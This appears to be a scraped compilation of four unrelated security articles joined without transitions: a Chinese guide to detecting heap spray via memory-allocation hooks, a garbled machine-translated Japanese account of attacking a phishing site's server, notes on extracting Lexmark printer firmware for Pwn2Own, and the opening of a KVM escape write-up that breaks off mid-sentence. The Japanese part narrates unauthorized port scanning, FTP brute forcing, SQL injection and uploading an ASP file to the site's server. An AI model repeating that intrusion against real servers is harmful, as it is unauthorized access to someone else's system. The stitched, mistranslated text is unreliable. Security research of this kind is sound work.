防止堆噴射攻擊現在,讓我們開始練習。為了減輕堆噴射攻擊,我們將採取以下步驟:

1.形成分配歷史

2.檢測shellcode 執行

3.檢測噴霧

形成分配歷史為了攔截動態分配內存的執行,我們將PAGE_EXECUTE_READWRITE 標誌更改為PAGE_READWRITE。

讓我們創建一個結構來保存分配:

image.png

接下來,我們將為NtAllocateVirtualMemory定義一個鉤子。此掛鉤將重置PAGE_EXECUTE_READWRITE 標誌並保存已重置標誌的分配:

image.png

一旦我們設置了鉤子,任何帶有PAGE_EXECUTE_READWRITE 位的內存分配都會被修改。當試圖將控制權傳遞給該內存時,處理器將生成一個我們可以檢測和分析的異常。

在本文中,我們忽略了多線程問題。然而,在現實生活中,最好單獨存儲每個流的分配,因為shellcode 執行預計是單線程的。

檢測shellcode 執行現在,我們將為SEH 註冊一個處理程序。這就是這個處理程序通常的工作方式:

1.提取觸發異常的指令的地址。如果此地址屬於我們保存的區域之一,則此異常已由我們的操作觸發。否則,我們可以跳過它,讓系統繼續搜索相關的處理程序。

2.搜索堆噴射。如果動態分配的內存被可疑執行,我們必須對檢測到的攻擊做出反應。否則,我們需要恢復原樣,以便應用程序可以繼續工作。

3.使用NtProtect函數(PAGE_EXECUTE_READWRITE)恢復區域的原始參數。

4.將控制權交還給工藝流程。

下面是一個shellcode 檢測的代碼示例:

image.png

目前,我們有一種機制可以監控應用程序中的shellcode,並可以檢測其執行時刻。在現實生活中,我們需要再執行兩個步驟:

马云惹不起马云 攔截NtProtectVirtualMemory和NtFreeVirtualMemory函數。否則,我們將沒有機會監控進程內存的相關狀態。這是一個碎片問題:我們需要存儲和更新進程的可執行內存的映射,這是一項不平凡的任務。例如,我們的應用程序可以使用NtFree函數釋放我們保存區域中間的部分頁面,或者將它們的標誌更改為NtProtect。我們需要跟踪和監控此類案件。

马云惹不起马云使用Execute 分析所有可能的標誌(一組允許我們執行內存內容的可能值),例如PAGE_EXECUTE_WRITECOPY 標誌。

檢測堆噴射使用上面的代碼,我們在動態內存執行時停止了一個應用程序,並獲得了最新分配的歷史記錄。我們將使用這些信息來確定我們的應用程序是否受到攻擊。讓我們探索一下我們的堆噴射檢測技術的兩個步驟:

马云惹不起马云首先,我們需要確定我們將存儲多少分配以及在發生異常時我們將分析其中的多少。請注意,我們對相同大小的分配感興趣。因此,如果流中的內存以不同的大小分配,我們可以允許流繼續執行,因為這不太可能是堆噴射攻擊。此外,在分配邊界之間存在空間的情況下,我們可以排除堆噴射攻擊的可能性,因為堆噴射意味著連續的內存分配。

马云惹不起马云接下來,我們需要選擇堆噴射檢測的標準。檢測堆噴射的一種有效方法是在內存分配中搜索相同的內容。這個重複的內容很可能是shellcode的副本。例如,假設我們有10,000 個分配具有相同數據的相同位移。在這種情況下,最好從接收控制的當前分配的位移開始搜索。

image.png

用於識別堆噴射的建議算法

我們建議使用所描述的技術並註意以下四個標準,以排除可能會顯著減慢您的應用程序的不必要檢查:

1.為每個線程定義已保存的內存分配數量。

2.設置已保存內存分配的最小大小。攔截大小為一頁的分配將導致不合理地節省內存。堆噴射通常使用為某個應用程序的特定堆管理器選擇的巨大值進行操作。數十頁和數百頁似乎更相關。

3.定義發生異常時將分析的最新分配數。如果我們處理過多的分配,它會降低應用程序的效率,因為對於動態內存的每次執行,我們都必須讀取大區域的內容。

4.設置shellcode 的預期最小大小。如果我們要搜索的代碼太小,就會增加誤報的數量。

結論我們探索了一種使用鉤子和內存保護機制檢測堆噴射攻擊的方法。在我們的項目中,這種方法在測試和堆噴射檢測過程中顯示出出色的效果。

これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。

0x00夢の始まり

晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。

email-send

この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。

email-qrcode

その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました(最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした( ̄_、 ̄)。

そして、この写真はすべての夢が始まったところになりました.

0x01情報収集

0x001レビュードメイン名

開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。

email-qrcode-analyze-url

追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します:

cmd-nslookup

記事が書かれるまでドメイン名を解析することはできず、修正は非常に高速でした。幸いなことに、以前にバックアップがあり、ドメイン名は絶えず変更されました。 CDNを使用していることはわからず、すべてのトラフィックがソースステーションにありました。私はそれをチェックしました、そしてそれは香港のサーバーでした:

front-query-ip

次に、関連情報を収集するために:

cmd-whois

予想どおり、それは追加の有用な情報を使用しない3人のパーティー登録機関ですが、登録時間は非常に興味深いものです。今月、詐欺師は非常に速く動いています。次回は、彼らは相手のウェブサイトに行くためにしか見ることができません。

front-west-whois

再び西部のデジタルで、少し人気があるようです。ウェブサイトはプライバシー保護メカニズムを提供し、登録情報は一般に公開されておらず、当面は有用な情報を取得することはできません。

0x002レビューIP

今の手がかりは、以前に解析されたIPです。まず一歩一歩進んで、ポートサービスをスキャンして、より多くの情報を収集します。

cmd-nmap-port-services

はい、大丈夫です。私はいくつかの馴染みのある数字を見て、プロセスに従い続け、デフォルトのスクリプトを下ってポートサービス情報を分析しました。

cmd-nmap-default-script

匿名のFTPを検出することはなく、HTTPはトレースをサポートし、httponlyが設定されておらず、XSSを実行する機会があるため、最初に小さなノートを書き留めます。次に、古いルールは最初にデフォルトの辞書の方向ブラストであり、それでも試してみる必要があります。

cmd-nmap-ftp-brute

残りのすべてのポートを試してみましたが、予想通り、あまり得られませんでした。私はまだ基本的なパスワード強度の認識を持っているようです。さらに、以前のスキャン、ポート8888が表示されました。これは、サーバー管理ツールのパゴダパネルのデフォルトのバックグラウンド入り口であることを忘れないでください。試してみてください:

front-baota-login-pre

エントリ検証がありますが、少なくともそれが実際にパゴダパネルであることを証明しています。ただし、この爆発は不可能です。エントリURLの接尾辞は、デフォルトでは、上限と小文字の文字と数字の約8桁であり、これは8の電力から約20兆のパワーであり、かなりaldげています。後で言いましょう。次に、他の方向に移動し続けます。

0x003レビューページ

それらはすべてここにあります。コードをスキャンすることはページへのジャンプへのリンクであり、ポートも80と443を開いているため、もちろん、KangkangにアクセスするためにWebページを開く必要があります。同時に、開発者ツールを開いて小さなアクションがあるかどうかを確認する必要があります。

front-home-mobile

ああ、それはモデルも認識します。これはユーザーが非常に明確であるため、モバイル端末にカットして見てみましょう。

front-home-index

emmm .それを言う方法、それはとてもいい匂いがする。一見することはできません。私はそれを非常に模倣しています(しかし、私は本当に勇敢で、政府のウェブサイトでそれをやっています)。次に、インターフェイスによって返されたヘッダー情報を見て、Windows IIS 7.5 + ASP.NETサービスが使用されていることがわかりました。

front-home-headers

これを最初に覚えておいてください、後で抜け穴を掘り出すことは役に立ちます。インタビューの後、私はページが空であることがわかりました、そして、加工の入り口のポップアップウィンドウのみがジャンプできることがわかりました。ジャンプページは次のとおりです。

front-apply-btn

説明は非常に完全であるため、誰もが正しい番号を取得できるようにします。今すぐ申請するにはここをクリックしてください:

front-input-name-id

次に、最初に名前とID番号を使用して、個人情報を収集するためのワンストップサービスが開始されました。さらに、その隣に表示されるロードされたPNGヘッダー画像の名前に注意してください。ええと、これは開発者からのクレイジーなヒントですか?ここで情報を入力してチェックすることができます。

front-input-name-error

実際に検証があります。ブレークポイントをクリックして、ソースコードロジックを確認してください。

front-input-name-breakpoint

完全に完了する数字を確認するのは本当に面倒ですが、フロントエンドの検証はすべて紙のトラであるため、ここで民俗救済は必要ありません。ソースコード編集および開発者ツールの関数を上書きするだけで、検証関数に直接trueを返します。

front-input-name-override

次に、確認して次のステップに進みます。

front-input-bank

銀行のカード番号とパスワード、携帯電話番号を収集することです。悲しいかな、意図は非常に明白です。お金を転送して相手のパスワードを転送する必要はありません。また、何気なく記入するためのものです。同じ方法を使用して銀行カードの確認をバイパスしますが、読み込まれたスクリプトファイルの1つで興味深いものが見つかりました。

front-input-bank-js-source

開発者は、ソースコードのデバッグデータを削除することさえありません。 Alibaba Pay Interfaceは、相手のデバッグアカウントを使用するために使用されます(開発者として、生産環境でコードコメントを削除することの重要性=_=):

front-input-bank-amount

次に、次のページを入力して、名前とID番号、および銀行カードの残高を再度収集しました(ここでは、ユーザーの実際の状況やその他の未知の操作の調査です)。予想どおり、私はここに嘘をつく勇気さえありませんでした。 T_T、すぐに記入して、次のステップに進みます。

front-input-bank-amount-value

front-submit-loading

その後、ページはロードされ、継続的に更新され、他のジャンプはありません。詐欺師が動作する時間を提供することです。その後、Webページの関連する操作は、当面の間終了します。いくつかの操作手順を大まかに理解してから、他の方向を探ります。

0x02脆弱性マイニング

0x001 SQL注入

情報コレクションはほぼ完成しているので、1つずつ壊してみましょう。最もよく知られているWebページから始めます。前のページを確認する際には、多くの提出フォームと入力ボックスがあります。これは潜在的なブレークスルーポイントです。どの鉱業技術が優れているか、まず魔法のアーティファクトのげっぷを使用し、銀行カード番号とパスワードの以前の提出のフォームデータを傍受します。

burp-form-field

次に、エラーメッセージを確認するために簡単な注入を試みます。

burp-sql-inject-simple

応答はありません。基本的な検証があり、それを変更する必要があります。

burp-sql-inject-union-select

反応があり、希望を見たように見えました。返品は文字化けしていますが、相手のプログラムがそれを処理する問題であるはずです。しかし、文の構造を見ると、SQLエラーが報告されたようで、それらのいくつかを連続して試してみましたが、同じリターンも返されました。それでは、残りの複雑な作業をツールに任せ、SQLMapを取り出して実行しましょう。

cmd-sqlmap

数ラウンドのパラメーターの後、私は成功しませんでした。フィルタリングメカニズムは比較的思慮深い必要があります。次に、別のページをテストしたとき、エラーメッセージの元の意味を発見しました。

burp-sql-inject-err-res

まあ、私はまだ若すぎます、私は間違っているでしょう。プログラムは、フィールド値のSQLキーワードを特定する必要があります。さらに、以前にスキャンされたサービスには、トレース関連の脆弱性が含まれている可能性があることを思い出します。テスト後、サーバーはまだサポートされていないはずです。

burp-trace-method

それから私はもう一度それについて考えました。パスワードフィールドのデータベーステーブルフィールドを設計するときは、銀行カードのパスワードであり、誰もが6桁の数字であることを知っているため、スペース占領を減らすために低い文字桁の特性を考慮する必要があります。驚きがあるかどうかを確認するための大きな数字があります:

burp-post-mass-data

恥ずかしさは驚きのためです。特別な治療がなく、サーバー側のエラーとして直接報告されるためであるべきです。私は次々といくつかのページを変更しましたが、テスト後に大きな利益はありませんでした。シーンはかつて行き詰まっていたので、私は一時的に戦場に移動することができました。

0x002メタプロイト浸透

がついにMetasploitに来て、準備ができています、

msf-banner

IISの既知の脆弱性を最初に検索します。

msf-search-iis

たくさんあるので、最初にいくつかのマッチング条件を試してみましょう。私はあなたにここで例を挙げているので、私はそれらを1つずつ見せません:

msf-run-ektron

次に、他のいくつかのポートとサービスがあり、1つずつテストされましたが、突破口はありませんでした。パッチはすべて非常に完全だったようです。現在、それは一時的に行き止まりに閉じ込められています。 MSFに使用するモジュールはまだたくさんありますが、まだ行われていない別の重要なことがあると思います。

0x003サイトディレクトリの列挙

サイトディレクトリスキャン、この重要なことはどのように欠けているのでしょうか? Dirbusterなど、多くのツールから選択するツールがあります。ここでは、Burp Suiteのエンゲージメントツールでディスカバリーコンテンツツールを使用して、ディレクトリブラストを実行します。

burp-dirbus-menu

burp-dirbus-config

多数の内蔵辞書では使用するのに十分ですが、ネットワークリクエストが含まれ、プロセスも非常に長いです。ただし、バックグラウンドで実行でき、他のものには影響しません。これがスキャンの結果です:

burp-dirbus-sitemap

いい人と呼んでください!スキャンしなかったかどうかはわかりませんでした。出てきてショックを受けました。私は非常に多くの隠された入り口を逃しました。最初にノートを書き留めて、1つずつ探索しました。ただし、私のビジョンは、upload.aspと呼ばれるファイルにロックされずにはいられませんでした。開発者からそのような明白なヒントを言う必要はありませんでした(ヨ(▔、▔)ㄏ)。

burp-upload-get

直接アクセスするときに返品データはありませんが、メソッドが間違っているためですか?それを変更してフォームファイルデータを投稿し、再試行してください。

cmd-curl-upload-file

この方法でアップロードするのは役に立たないようです。追加の検証パラメーターなどが必要です。これまで見たことのないページをたくさんスキャンしました。今、私は戻ってページのソースコードを1つずつ分析します。

front-upload-source

案の定、ページの1つでは、このアップロードインターフェイスを呼び出すフォームが見つかりました。これは隠された要素です。ページコンテンツと組み合わせることで、ユーザーがアップロードした特定のドキュメント情報、IDカードの写真などを収集するために使用する必要があります。その後、対応するJSソースコードを見て、実際にチェックサムインターフェイスパラメーターがあります。

front-upload-js-fn

ここでこれらの機能を分析して呼び出して、ファイルをアップロードすることは難しすぎます。これは隠された形ではありません。コードを直接変更してUI(¬‿¬)を介して操作するのはとても簡単です。

front-upload-show-form

少しシンプルに見えますが、実行するのに十分かどうかは関係ありません。ファイルをアップロードするだけです:

front-upload-done

その後、もう一度アクセスして効果を確認してください。

front-upload-access

なんて男だ、それはエキサイティングだ!私の口の角は再び少し上昇しますが、最初に落ち着いてから、ファイルタイプの確認があるかどうかを確認してみてください。このサービスはASP.NETなので、ASPプログラムを渡すだけです。次のコードは、ページ上のサービスの名前を実行します。

%respons.write(request.servervariables( 'server_software'))%

次に、アップロードしてチェックしてください。

front-upload-asp-info

これ.他に何が言うことができますか?沈黙は現時点では音よりも優れていますが、これは終わりではありません。これはただの良い出発点であり、すべてが始まったばかりです(¬‿¬)。

0x004予期しない収穫

実際、Webサイトディレクトリには、Jieliuziと呼ばれる別の非常に興味深いディレクトリがあります。私は中国のピンインの命名が好きなオブジェクト開発者の習慣を理解しましたが、この意味は理解されていません。推測と入力の方法さえ理解していません。詳細を調べた後、私も入って見つけました=_=。中国の文化は本当に深いです。何があっても、ページアクセスの結果を見てください:

front-jieliuzi-login

これは非常に簡潔なログインページであり、実際にはPCサイトページです。詐欺師はいくつかの面で非常にロマンチックです。ここで表示されない理由は、全体像がエキサイティングすぎるためです(このログインボックスは本当に白です)、レビューに合格できないのではないかと心配しています。さらに、このページの上部にあるタイトル名に注意を払ってください。最初の反応は、それが単純な文字通りの意味であってはならず、良い言葉のように聞こえないことです。私はこれのために特別にバイドゥに行きました:

front-whaling-meaning-1

2021年11月3日,Zero Day Initiative Pwn2Own宣布,NCC Group EDG(Exploit Development Group)在MC3224i打印機固件中發現了一個遠程漏洞,攻擊者可以利用該漏洞獲得該設備的完全控制權限。請注意,這裡的打印機運行的是最新版本的固件CXLBL.075.272。

Lexmark MC3224i是一款廣受歡迎的多合一彩色激光打印機,在各個電商網站上都賣的很火,所以,Austin 2021 Pwn2Own也將其列為安全測試對象之一。

目前,該漏洞已經得到了修復。在下一篇文章中,我們將詳細介紹該漏洞的詳情以及相應的利用方法。

由於Lexmark公司對提供給消費者的固件更新包進行了加密處理,這無疑提高了相關二進制代碼的分析難度。由於我們的研究時間只有一個多月,而且關於目標的參考資料基本為零,所以,我們決定拆下閃存,並使用編程器來提取其中的固件,因為我們(正確地)估計固件是以未加密的形式存儲的。這樣做的好處是,可以避開固件更新包加密所造成的障礙。提取固件後,可以對二進製文件進行逆向分析,以檢查其中是否存在遠程代碼執行漏洞。

從閃存中提取固件PCB概述我們發現,主印刷電路板(PCB)位於打印機的左側。該設備由專為打印機行業設計的Marvell 88PA6220-BUX2片上系統(SoC)進行供電的,而固件則存儲在Micron MT29F2G08ABAGA NAND閃存(2Gb,即256MB)中。並且,NAND閃存可以很容易地在PCB的左下方找到:

1.png

串行輸出之後,我們很快就找到了UART連接器,因為它在PCB上被標為JRIP1,具體如下圖所示:

1.png

之後,我們焊接了三根線,分別用於:

查看啟動日誌,通過觀察設備的分區信息了解閃存的佈局情況。

掃描啟動日誌,看看是否有跡象表明打印機進行了軟件簽名驗證。

希望能在引導加載程序(U-Boot)或操作系統(Linux)中獲得一個shell。

打印機啟動過程中,串行輸出(115200波特)的內容如下所示:

SiGe2-RevB3.3.22-9h121425

TIME=TueMar1021:02:362020;COMMIT=863d60b

uidc

FailureEnablingAVSworkaroundon88PG870

settingAVSVoltageto1050

Bank5Reg2=0x0000381E,VoltBin=0,efuseEscape=0

AVSefuseValues:

EfuseProgramed=1

LowVDDLimit=32

HighVDDLimit=32

TargetDRO=65535

SelectVsense0=0

a

CallingConfigure_Flashes@0xFFE010A812FE13E0026800

fves

DDR3400MHz1x164Gbit

rSHAcomparePassed0

SHAcomparePassed0

l

LaunchAPCore0@0x00100000

U-Boot2018.07-AUTOINC+761a3261e9(Feb282020-23:26:43+0000)

DRAM:512MiB

NAND:256MiB

MMC:mv_sdh:0,mv_sdh:1,mv_sdh:2

lxk_gen2_eeprom_probe:123:Nopaneleepromoptionfound.

lxk_panel_notouch_probe_gen2:283:paneluicctype68,hwvers19,panelid98,displaytype11,firmwarev4.5,lvds4

foundsmpndisplayTM024HDH49/ILI9341default

lcd_lvds_pll_init:Requestingdotclk=40000000Hz

foundsmpndisplayYeebo2.8B

ubi0:defaultfastmappoolsize:100

ubi0:defaultfastmapWLpoolsize:50

ubi0:attachingmtd1

ubi0:attachedbyfastmap

ubi0:fastmappoolsize:100

ubi0:fastmapWLpoolsize:50

ubi0:attachedmtd1(name'mtd=1',size253MiB)

ubi0:PEBsize:131072bytes(128KiB),LEBsize:126976bytes

ubi0:min./max.I/Ounitsizes:2048/2048,sub-pagesize2048

ubi0:VIDheaderoffset:2048(aligned2048),dataoffset:4096

ubi0:goodPEBs:2018,badPEBs:8,corruptedPEBs:0

ubi0:uservolume:7,internalvolumes:1,max.volumescount:128

ubi0:max/meanerasecounter:2/1,WLthreshold:4096,imagesequencenumber:0

ubi0:availablePEBs:0,totalreservedPEBs:2018,PEBsreservedforbadPEBhandling:32

Loadingfile'/shared/pm/softoff'toaddr0x1f6545d4.

UnmountingUBIFSvolumeInternalStorage!

Carddidnotrespondtovoltageselect!

bootcmd:setenvcramfsaddr0x1e900000;ubiread0x1e900000Kernel0xa67208;sha256verify0x1e9000000x1f3670001;cramfsload0x100000/main.img;source0x100000;loop.l0xd00000001

Read10908168bytesfromvolumeKernelto1e900000

Codeauthenticationsuccess

###CRAMFSloadcomplete:2165bytesloadedto0x100000

##Executingscriptat00100000

###CRAMFSloadcomplete:4773416bytesloadedto0xa00000

###CRAMFSloadcomplete:4331046bytesloadedto0x1600000

##BootingkernelfromLegacyImageat00a00000.

ImageName:Linux-4.17.19-yocto-standard-74b

ImageType:ARMLinuxKernelImage(uncompressed)

DataSize:4773352Bytes=4.6MiB

LoadAddress:00008000

EntryPoint:00008000

##LoadinginitRamdiskfromLegacyImageat01600000.

ImageName:initramfs-image-granite2-2020063

ImageType:ARMLinuxRAMDiskImage(uncompressed)

DataSize:4330982Bytes=4.1MiB

LoadAddress:00000000

EntryPoint:00000000

##FlattenedDeviceTreeblobat01500000

Bootingusingthefdtblobat0x1500000

LoadingKernelImage.OK

UsingDeviceTreeinplaceat01500000,end01516aff

UPDATINGDEVICETREEWITHst:1fec4000sz:12c000

Startingkernel.

BootingLinuxonphysicalCPU0xffff00

Linuxversion4.17.19-yocto-standard-74b7175b2a3452f756ffa76f750e50db(oe-user@oe-host)(gccversion7.3.0(GCC))#1SMPPREEMPTMonJun2919:46:01UTC2020

CPU:ARMv7Processor[410fd034]revision4(ARMv7),cr=30c5383d

CPU:divinstructionsavailable:patchingdivisioncode

CPU:PIPT/VIPTnonaliasingdatacache,VIPTaliasinginstructioncache

OF:fdt:Machinemodel:mv6220Lionfish00dL

earlycon:early_pxa0atMMIO320x00000000d4030000(options'')

bootconsole[early_pxa0]enabled

FIXignoringexception0xa11addr=fb7ffffeswapper/0:1

.根據我們在審查其他設備方面的經驗來說,有時可以通過訪問UART引腳獲得完整的Linux shell。不過,在MC3224i設備上,UART RX引腳似乎沒有被啟用,因此,我們只能查看引導日誌,而無法與系統進行交互。它可能是通過SoC上的E型保險絲來禁用引腳的。或者,零歐姆電阻器可能已經從生產設備的PCB上移除,在這種情況下,我們就有機會重新啟用它。由於我們的主要目標是拆除閃存並提取固件,所以,我們沒有進一步研究這個引腳。

從閃存中轉儲固件拆除和轉儲(或重新編程)閃存比大多數人想像中的要容易得多,而且這樣做的好處有很多:它通常允許我們啟用調試功能,獲得對Shell的訪問權,讀取敏感密鑰,並在某些情況下繞過固件簽名驗證。在我們的案例中,我們的目標是提取文件系統,並對二進製文件進行逆向工程,因為Pwn2Own規則明確規定,只有遠程執行的漏洞才能被接受。不過,對exploit開發工作來說,則沒有任何限制。重要的是,要把exploit的開發和執行看作是不同的工作。雖然執行過程決定了攻擊的可擴展性和攻擊者的成本,但利用代碼的開發過程(或NRE)只需要一次,因此,即使我們在後者上面消耗了大量的時間和設備,也不會對執行工作造成影響。而防御者的工作,就增加exploit的執行難度。

借助於熱風機之類的工具,我們可以輕鬆將閃存拆下來。在清洗完引腳後,我們使用帶有TSOP-48適配器的TNM5000編程器來讀取閃存的內容。首先,我們要確保閃存正確連接到適配器上,選擇正確的閃存標識符,然後,我們就可以讀取閃存的全部內容,並將其保存到文件中了。重新安裝閃存時,也需要仔細進行,以確保設備的功能不受影響。整個過程大約花了一個小時,包括在顯微鏡下測試連接。萬幸的是,打印機成功地啟動了! 好了,這部分工作就大功告成了……

1.png

轉儲的閃存映像的長度正好是285,212,672字節,很明顯,這比256MB(268,435,456字節)還要長。這是因為,在讀取閃存的原始讀取時,還包括備用區域,也被稱為頁面OOB(帶外)數據區域。下面的內容來自Micron公司的說明文檔:

內部ECC對於主要區域的每528字節(x8)和備用區域的每16字節(x8)提供了9位檢測碼和8位校正碼。 [.]

在PROGRAM操作過程中,在頁面被寫入NAND Flash陣列之前,設備會在緩存寄存器中的2k頁面上計算ECC代碼。 ECC代碼被存儲在頁面的備用區域。

在讀操作中,頁面數據從陣列中被讀到緩存寄存器中,在那裡ECC代碼被計算出來,並與從陣列中讀取的ECC代碼值進行比較。如果檢測出1-8位的錯誤,將通過高速緩存寄存器進行糾正。只有經過糾正的數據,才會在I/O總線上輸出。

NAND閃存是以內存頁為單位進行編程和讀取的。一個內存頁由2048字節的可用存儲空間和128字節的OOB組成,後者用於存儲糾錯代碼和壞塊管理的標誌,也就是說,頁面的總長度為2176字節。不過,對於擦除操作來說,則是以塊為單位進行的。根據Micron公司的文檔,對於這個閃存部分,一個塊由64頁組成,總共有128KB的可用數據。該閃存由兩個面組成,每個麵包含1024個塊,因此:

2planes*1024blocks/plane*64pages/block*(2048+128)bytes/page=285,212,672由於備用區域僅用於閃存管理,並且不包含有用的用戶數據,因此,我們編寫了一個小腳本,將每個2048字節的頁面後面128字節的OOB數據刪除,結果文件長度正好是256MB。

分析轉儲的固件提取Marvell映像還記得我們說過該打印機是由Marvell芯片組供電的嗎?這時,這些信息就排上用場了。雖然88PA6220是專門為打印機行業設計的,但其固件映像的格式看起來與其他Marvell SoC是一樣的。因此,GitHub上有許多類似處理器的文件或代碼,可以作為參考。例如,我們看到該映像以TIM(可信映像模塊)頭部開始。該頭部包含大量關於其他映像的信息,其中一些信息被用來提取單個映像:

1.png

TIM頭部的格式如下面最後一個結構體所示(顯然,它假定OOB數據已經被刪除):

typedefstruct{

unsignedintVersion;

unsignedintIdentifier;

unsignedintTrusted;

unsignedintIssueDate;

unsignedintOEMUniqueID;

}VERSION_I;

typedefstruct{

unsignedintReserved[5];

unsignedintBootFlashSign;

}FLASH_I,*pFLASH_I;

//Constantpartoftheheader

typedefstruct{

{

VERSION_IVersionBind;

FLASH_IFlashInfo;

unsignedintNumImages;

unsignedintNumKeys;

unsignedintSizeOfReserved;

}CTIM,*pCTIM;

typedefstruct{

uint32_tImageID;//IndicatewhichImage

uint32_tNextImageID;//Indicatenextimageinthechain

uint32_tFlashEntryAddr;//BlocknumbersforNAND

uint32_tLoadAddr;

uint32_tImageSize;

uint32_tImageSizeToHash;

HASHALGORITHMID_THashAlgorithmID;//SeeHASHALGORITHMID_T

uint32_tHash[16];//Reserve512bitsforthehash

uint32_tPartitionNumber;

}IMAGE_INFO_3_4_0,*pIMAGE_INFO_3_4_0;//0x60bytes

typedefstruct{

unsignedintKeyID;

unsignedintHashAlgorithmID;

unsignedintModulusSize;

unsignedintPublicKeySize;

unsignedintRSAPublicExponent[64];

unsignedintRSAModulus[64];

unsignedintKeyHash[8];

}KEY_MOD,*pKEY_MOD;

typedefstruct{

pCTIMpConsTIM;//Constantpart

pIMAGE_INFOpImg;//PointertoImages(v3.4.0)

pKEY_MODpKey;//PointertoKeys

unsignedint*pReserved;//PointertoReservedArea

pPLAT_DSpTBTIM_DS;//PointertoDigitalSignature

}TIM;正如下文所詳述的那樣,該處理器的保護措施是由Lexmark團隊提供的,所以,讓我們先來看看有助於提取映像的相關字段。關於每個字段的完整描述,請參考這裡的參考手冊:

VERSION_I:常規TIM頭部信息。

Version (0x00030400):TIM頭部的版本(3.4.0)。它對以後確定使用哪個版本的映像信息結構(IMAGE_INFO_3_4_0)非常有用。

Identifier (0x54494D48):其值總是ASCII字符串“TIMH”,用於識別有效頭部。

Trusted (0x00000001):0代表不安全的處理器,1代表安全。該處理器已經被Lexmark保護起來,因此,只有經過簽名的固件才允許在這些設備上運行。

FLASH_I:啟動閃存屬性。

NumImages (0x00000004):表示頭部中有四個結構體,描述構成固件的映像。

NumKeys (0x00000001):這個頭部中有一個密鑰信息結構體。

SizeOfReserved (0x00000000):在TIM頭部末尾的簽名之前,OEM可以保留最多4KB(sizeof(TIMH))空間供其使用。 Lexmark沒有使用這個功能。

IMAGE_INFO_3_4_0:映像1的信息。

ImageID (0x54494D48):映像的ID('TIMH'),本例中為TIM頭部。

NextImageID (0x4F424D49):下一個映像的ID('OBMI'),OEM啟動模塊映像。

FlashEntryAddr (0x00000000):TIM頭部對應的閃存索引。

ImageSize (0x00000738):映像的大小,1,848字節被頭部佔用。

IMAGE_INFO_3_4_0 :映像2的信息。

ImageID (0x4F424D49):映像的ID('OBMI'),OEM啟動模塊映像。 OBM由Marvell公司提供,負責啟動打印機所需的任務。看一下UART的啟動日誌,在U-Boot啟動信息之前顯示的所有內容,都是由OBM代碼顯示的。至於功能方面,OBM將設置DDR和應用處理器核心0,並對隨後加載的固件(U-Boot)進行了固件簽名驗證。

NextImageID (0x4F534C4F):下一個映像的ID('OSLO')。

FlashEntryAddr (0x00001000):OBMI的閃存索引。

ImageSize (0x0000FD40):映像的大小,OBMI長度為64,832字節。

IMAGE_INFO_3_4_0:映像3的信息。

ImageID (0x4F534C4F):映像的ID('OSLO'),包含U-Boot代碼。

NextImageID (0x54524458):下一個映像的ID('TRDX')。

FlashEntryAddr (0x000C0000):O

0x01 基本介紹KVM(用於基於內核的虛擬機)是基於Linux 的雲環境的標準管理程序。除了Azure ,幾乎所有大型雲服務和託管服務提供商都在KVM 之上運行,將其變成了雲服務中的基本安全邊界之一。

在這篇文章中,我記錄了KVM 和AMD CPU 中發現的一個漏洞,並研究瞭如何將此bug轉化為完整的虛擬機逃逸。據我所知,這是KVM guest到物理主機突破的第一篇公開文章,它不依賴於用戶空間組件(如QEMU)中的漏洞。此漏洞被分配的漏洞編號是CVE-2021-29657,影響內核版本v5.10-rc1 到v5.12-rc6, 並於2021 年3月底做了修補。由於該漏洞僅在v5.10 中才可被利用並在大約5 個月後被發現,因此KVM 的大多數部署設備不受影響。我認為這個問題是一個有趣的案例研究,需要構建一個穩定的guest到主機的KVM 逃逸路徑,使得獲取KVM虛擬機管理程序權限不再僅僅是理論問題。

https://bugs.chromium.org/p/project-zero/issues/detail?id=2177q=owner%3Afwilhelm%40google.comcan=1

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a58d9166a756a0f4a6618e4f593232593d6df134下文首先簡要概述KVM 的架構,然後再深入研究漏洞及其利用。

0x02 KVMKVM 是一個基於Linux 的開源管理程序,支持x86、ARM、PowerPC 和S/390 上的硬件加速虛擬化。與其他大型開源管理程序Xen 相比,KVM 與Linux 內核深度集成,並在其調度、內存管理和硬件集成的基礎上構建,以提供高效的虛擬化。

KVM 由一個或多個內核模塊(kvm.ko 加上kvm-intel.ko 或x86 上的kvm-amd.ko)實現,它們通過/dev/kvm 設備向用戶空間進程公開一個基於IOCTL 的低級API。使用此API,用戶空間進程(通常稱為Virtual Machine Manager 的VMM)可以創建新的VM,分配vCPU 和內存,並攔截內存或IO 訪問以提供對模擬或虛擬化感知硬件設備的訪問。 長期以來,QEMU一直是基於KVM 的虛擬化的標準用戶空間選擇,但在最近幾年,LKVM、crosvm 或Firecracker等替代方案開始流行。

低級API:https://www.kernel.org/doc/html/latest/virt/kvm/api.html

[LKVM](https://github.com/lkvm/lkvm)

[crosvm](https://chromium.googlesource.com/chromiumos/platform/crosvm/)

[Firecracker](https://github.com/firecracker-microvm/firecracker)雖然KVM 依賴於單獨的用戶空間組件起初可能看起來很複雜,但它有一個非常優秀的好處:在KVM 主機上運行的每個VM 都有一個到Linux 進程的1:1 映射,使其可以使用標準Linux 工具進行管理。

這意味著,例如,可以通過轉儲其用戶空間進程的分配內存來檢查guest的內存,或者可以輕鬆應用CPU 時間和內存的資源限制。此外,KVM 可以將大部分與設備模擬相關的工作卸載到用戶空間組件。除了與中斷處理相關的幾個性能敏感設備之外,所有用於提供虛擬磁盤、網絡或GPU 訪問的複雜低級代碼都可以在用戶空間中實現。

在查看KVM 相關漏洞和利用的公開文章時,很明顯這種設計是一個明智的決定。大多數公開的漏洞和所有公開可用的漏洞都會影響QEMU 及其對模擬/半虛擬化設備的支持。

儘管KVM 的內核攻擊面比默認QEMU 配置或類似的用戶空間VMM 暴露的要小得多,但KVM 漏洞對攻擊者來說非常的有價值:

